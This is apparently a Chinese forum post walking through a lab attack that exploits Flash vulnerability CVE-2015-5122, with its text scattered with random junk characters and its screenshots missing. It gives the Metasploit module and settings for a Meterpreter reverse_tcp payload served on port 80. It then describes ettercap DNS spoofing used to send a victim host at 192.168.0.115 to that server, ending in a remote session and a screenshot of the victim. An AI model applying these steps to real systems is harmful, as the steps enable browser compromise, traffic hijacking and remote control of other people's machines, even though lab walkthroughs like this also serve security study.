cve2015-5122漏洞实例演示虚拟机

admin

0 z5 o0 a" U5 y* D* n6 | 二、cve2015-5122漏洞实例演示虚拟机 2 ^4 U, O' f" K7 F* Y+ _+ a

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

8 b2 J1 R. x" I3 a' r2 |

search cve-2015-5122如图：

5 |5 @! |' E. v( z( l' V

& K9 } b/ a! K; G3 o2 o# D0 W R   6 w- |, {* F7 S8 o$ A3 o

1 [& p: _ Z6 n6 ^/ m 下面我们敲如下命令： 6 P3 `4 z, q# e' u

' R9 A: x- n8 S

! D! l9 U/ M5 |( n. N* b use exploit/multi/browser/adobe_flash_opaque_background_uaf * U, q" U+ Y9 R5 w+ D, g6 u$ f

, ?' [4 |9 }" V3 F9 O

set PAYLOAD windows/meterpreter/reverse_tcp

5 H' [/ D0 j" t5 a! K2 A" T/ Y8 _

set LHOST 192.168.0.109

7 a1 F9 ^3 C6 i& X' w

set URIPATH /                        /*根目录*/ @/ q; C/ k- q' X0 W1 z

' U8 d; x$ H+ L+ A7 A

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 # W+ E7 L. K+ R3 M) [' w( g( \

, C; y0 _& ]" L) i

4 J1 X$ o L6 I4 c' L- N set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 . m+ G- }* _$ l u

然后show options如图： + ]' [" _3 ~2 O; t! b* z, r! {( C

* A6 U3 Y% V$ c; d; g4 W% P( Q  

0 |5 L: a* G. ^) d3 Z8 L v

/ l) C% ]( C' `3 R. w S 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

4 h7 v! m9 y5 v" j0 K1 E

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

+ v7 X2 P, u/ {, Z

  7 @/ f# W9 d9 s, c2 B

成功了，这时候我们断开ettercap，如图： . i/ a! H1 h U

' q* y& W5 ?, c1 R* b/ v4 w  

: B- {) G* ~$ L# C: ?

Screenshot如图：

2 f, F' L9 |9 X+ Y3 W, x- k: |

& Z4 F3 Z: t! w! N   # m% X) r- p! g% T4 y! J8 t

& W8 \7 ~9 C4 K& J

- ~9 X# ^) C0 i' i6 g